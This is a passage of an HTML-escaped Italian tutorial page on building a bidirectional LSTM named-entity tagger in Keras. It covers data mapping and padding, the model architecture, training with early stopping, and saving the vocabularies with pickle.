per la valutazione del modello addestrato.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# max len of sentencess&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;max_len = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;400&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# for every sentence mapping words to integer id based on dictionary word2idx and padding every sequence to same length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X = [[word2idx[w[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sentences]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X = pad_sequences(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=X, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;post&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_words-&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# for every sentence mapping tags to integer id based on dictionary tag2idx and padding every sequence to same length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;y = [[tag2idx[w[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sentences]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;y = pad_sequences(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=y, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;post&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=tag2idx[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;O&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;y = [to_categorical(i, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;num_classes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_tags) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; i &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; y]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# splitting dataset in train and test set&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;x_train, x_test, y_train, y_test = train_test_split(X, y, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;random_state&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 9 - Mapping dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:728px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c211d220be7339acb240f1b6c39aa570/cecac/word-tag-id.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:44.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;179\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20179\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%2023v18h83V4H7v19M176%205v17l1%2016h75V5l-37-1-39%201m122%2016v17h83V5l-42-1h-41v17M10%207l-1%204v4l2-2c3-2%205-3%208-1s2%203-1%203c-6%200-7%202-1%204%204%202%204%202%204%205%200%205-2%206-8%206l-4-1v10h79v-4l-1-5c-2%200-2-1-2-4%200-4-2-7-4-6l-1%205c0%204%200%205-2%205s-2-1-2-6v-7h5l6%201c1%201%201%200%201-5V7L49%206%2010%207m168%2014v15h73V6h-73v15m122%200v15h78V6h-78v15M24%2021c0%207%200%209%202%209l1-4c0-5%202-8%204-7l1%206c0%204%200%205%202%205l1-6v-6h-4c-4%200-4-1-4-4l-1-3c-2%200-2%202-2%2010m73-7l-2%203v2l1%206c0%204%200%205%202%205s2-1%202-5c0-5%200-6%202-6l1-1-1-1-2-1c0-1%201-2%203-2s2%200%202%208c0%206%200%208%202%208l1-9V11h-4c-4%200-5%200-7%203m83%206c0%208%200%2010%202%2010l1-6v-6l3%205c3%206%204%206%208%200l3-4v5c0%204%200%206%202%206l1-10c0-11-1-12-7-3l-3%206-3-6c-6-9-7-8-7%203m124-8l-1%209c0%208%200%209%202%209s2-1%202-3c0-4%200-4%204-4l3-1c0-2-1-2-3-2-4%200-4%200-4-2%200-3%200-3%204-3%203%200%204%200%204-2s-1-2-5-2l-6%201m38%202c0%203%200%203-3%203-5%200-8%206-5%2011%201%202%202%202%206%202h5V20l-1-9c-1%200-2%201-2%203M39%2018c-2%201%200%203%202%202h3l1%202c-5%201-6%203-6%205s0%203%205%203h5v-4c0-7-1-9-5-9l-5%201m24%201c-4%205-1%2011%204%2011s7-2%207-6c0-7-8-10-11-5m50%200c-2%202-2%207%200%209%201%202%207%203%209%201%202-1%200-2-4-2l-3-1c0-2%201-2%204-2s4%200%204-2c0-4-7-7-10-3m11%200a1123%201123%200%20015%2011h2l1-4%202-4%201%204c2%206%204%206%207-2l1-7c-2%200-4%203-4%205%200%203-2%202-3-1-1-5-4-5-5%200l-1%204-2-4-2-4c-2%200-2%200-2%202m37%200l-1%205c0%204%202%206%205%206%205%200%207-2%207-6%200-3%200-5-2-6s-7-1-9%201m50-1v2h5l1%202c-5%201-6%203-6%205s0%203%205%203h5v-5c0-6-1-8-5-8l-5%201m13%206c0%205%200%206%202%206l1-5%201-5c3-1%203%200%203%205%200%204%200%205%202%205s2-1%202-5l1-5c1-2%203%202%203%206%200%203%200%204%202%204%201%200%202-10%200-12l-9-1h-8v7m41-6c-2%201%200%203%202%202h3c2%201%200%203-3%203-2%200-4%202-4%205%200%201%202%202%206%202h5v-6c0-4%200-6-2-6h-7m85%200c-2%202%200%203%202%202h3l-1%202c-4%201-5%203-5%205s0%203%205%203h5v-5l-1-7h-8M49%2081c-3%202-4%205-2%205l3-2c5-4%205%203%200%208-6%206-6%207%201%207l7-1c0-2-1-2-4-2h-3l3-4c4-4%205-7%203-9-2-3-5-3-8-2m15%200c-3%202-4%205-2%207v3c-4%203-1%208%205%208%205%200%208-7%204-9v-1l1-3c0-4-4-7-8-5m15%200c-2%201-5%205-3%205l3-2%203-1c3%201%202%205-2%2010l-5%205%207%201c7%200%209-2%202-3h-3l3-4c5-7%202-14-5-11m24%201c-2%201-3%205-1%207%201%200%201%201-1%202-4%205%203%2011%209%208%203-2%204-6%202-8v-3c2-3%200-6-3-7s-3-1-6%201m30%200c-2%201-3%204-1%204l3-2%203-1c2%202%201%204-1%205l-2%202%202%201c3%201%203%205%200%205l-3-1-2-1c-3%200-2%202%201%204%205%204%2012-2%209-7v-3c1-2%201-4-1-6s-5-3-8%200m40%200c-2%201-3%205-1%207v2c-5%204%202%2011%208%208%203-2%204-6%202-9v-2c2-2%200-5-3-7-3-1-3-1-6%201m111-1c-3%202-4%205-2%205l3-2%203-1c2%202%201%206-3%2010-6%206-6%206%202%206l6-1c0-2-1-2-4-2h-3l3-4c5-5%205-8%202-10s-4-2-7-1m13%201c-2%203-2%203-1%205v3c-2%203-1%207%202%209%206%202%2012-2%209-8v-5c1-5-5-8-10-4m17-1c-5%203-5%208%200%2010l3%202-3%203-2%203h2c5%200%2011-14%208-17-2-1-6-2-8-1M34%2087c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-3v-2l-1-6c0-7-2-7-8%201m83-5l-1%205c0%203%200%203%204%203%203%200%204%201%204%202%200%203-3%205-5%204h-3c-4%202%204%205%208%203%205-3%205-11-1-12-4%200-4-3%200-3%206-1%205-3-1-3l-5%201m125%200v9c-2%203-2%204%200%206%205%205%2013%200%2010-5-1-2-2-3-1-4v-6h-9m15%200v7c1%200%201%201-1%202-3%204%202%2010%208%207%203-1%204-5%202-7v-3c3-5-5-10-9-6m71%205c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-2%201-1-1-2-1-5c0-8-2-8-8%200M19%20148v9h5c8%200%2012-5%207-8v-9l-7-1h-5v9m89-6c-6%207%200%2019%209%2016%2011-3%209-18-2-18l-7%202m35%200c-3%204-3%2011%200%2014%2010%209%2023-4%2014-14-4-3-10-3-14%200m43%2010c0%2010%200%2010%208%208%205-1%206-5%203-8v-2l1-3c0-3-3-5-9-5h-3v10m104-8c-8%209%202%2022%2012%2015%204-2%204-3%204-8%200-8-10-12-16-7m31%208v9h4c8%200%2013-5%208-9v-2c4-4%200-8-8-8h-4v10m-210-8c-3%205-1%2011%204%2011l4-1v-10h-8m35%200l-1%205c0%206%206%208%209%204%205-5-3-14-8-9m-101%209l1%209%202-3c0-2%201-2%202-1%203%200%207-4%207-7%200-5-3-7-8-7h-4v9m15-7c-5%205%201%2014%208%2011%203-1%203-3-2-3l-4-1c0-2%201-2%204-2s4%200%204-2c0-5-6-7-10-3m233%201c-3%203-3%206%200%209%204%204%209%202%209-5%200-6-5-8-9-4m-53%202l-3%205c0%202%204%207%207%207%202%200%206-5%206-7%200-5-7-8-10-5m124%205c0%209%202%209%203%201%200-4%200-5%202-5s2%201%202%205c1%207%203%208%203%201%200-5%201-5%203-5%201%200%202%200%202%205%200%207%203%207%203%200s-2-10-5-9l-9%201-4-1v7m-153-4v9c-1%204%200%206%204%206%207%200%209-7%203-7l-4-2%201-1c3%201%207-3%207-6%200-2-10-1-11%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c211d220be7339acb240f1b6c39aa570/c85cb/word-tag-id.webp 300w,/static/c211d220be7339acb240f1b6c39aa570/e88ff/word-tag-id.webp 600w,/static/c211d220be7339acb240f1b6c39aa570/8cb3e/word-tag-id.webp 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c211d220be7339acb240f1b6c39aa570/5a46d/word-tag-id.png 300w,/static/c211d220be7339acb240f1b6c39aa570/0a47e/word-tag-id.png 600w,/static/c211d220be7339acb240f1b6c39aa570/cecac/word-tag-id.png 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 9 - Esempio di mapping dei dati&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c211d220be7339acb240f1b6c39aa570/cecac/word-tag-id.png&quot; title=&quot;Figura 9 - Esempio di mapping dei dati&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Esempio di mapping dei dati&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;A questo punto viene definita l&amp;#x27;architettura del modello. Si tratta di una rete con un layer di &lt;strong&gt;Embedding&lt;/strong&gt; iniziale, un layer &lt;strong&gt;LSTM&lt;/strong&gt; di tipo bidirezionale e
infine un layer &lt;strong&gt;TimeDistributed&lt;/strong&gt;, che definisce uno strato fully connected sulle stesse finestre temporali. Per approfondimenti sulla natura dei diversi layer
si rimanda alla &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/layers&quot;&gt;documentazione ufficiale&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Il modello viene poi addestrato su un certo numero di epoche, utilizzando &lt;strong&gt;EarlyStopping&lt;/strong&gt; come callback che monitora l&amp;#x27;addestramento e lo interrompe
qualora la rete inizi a soffrire di &lt;a href=&quot;https://it.wikipedia.org/wiki/Overfitting&quot;&gt;&lt;strong&gt;overfitting&lt;/strong&gt;&lt;/a&gt;,
cioè di eccessivo adattamento dei dati training, con conseguente perdita di accuratezza sui dati di test.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;input_word = Input(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;shape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=(max_len,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Embedding(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_dim&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_words, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;output_dim&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len)(input_word)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = SpatialDropout1D(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)(model)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Bidirectional(LSTM(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;units&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;return_sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;recurrent_dropout&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))(model)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;out = TimeDistributed(Dense(num_tags, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;activation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;softmax&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))(model)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Model(input_word, out)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.summary()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.compile(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;optimizer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;adam&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;loss&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;categorical_crossentropy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;metrics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;accuracy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;early_stopping = EarlyStopping(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;val_loss&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min_delta&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;patience&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;verbose&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;auto&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseline&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                               &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;restore_best_weights&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;callbacks = [early_stopping]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;history = model.fit(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    x_train, np.array(y_train),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;validation_split&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;batch_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;epochs&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;verbose&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 10 - Definizione dell&amp;#x27;architettura del modello e addestramento&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Infine il modello viene salvato su disco, archiviando ogni componente necessaria per i futuri utilizzi. Non viene salvato solo il modello,
ma anche tutti i vocabolari necessari per le trasformazioni sui dati. &lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/word2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(word2idx, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/tag2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(tag2idx, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
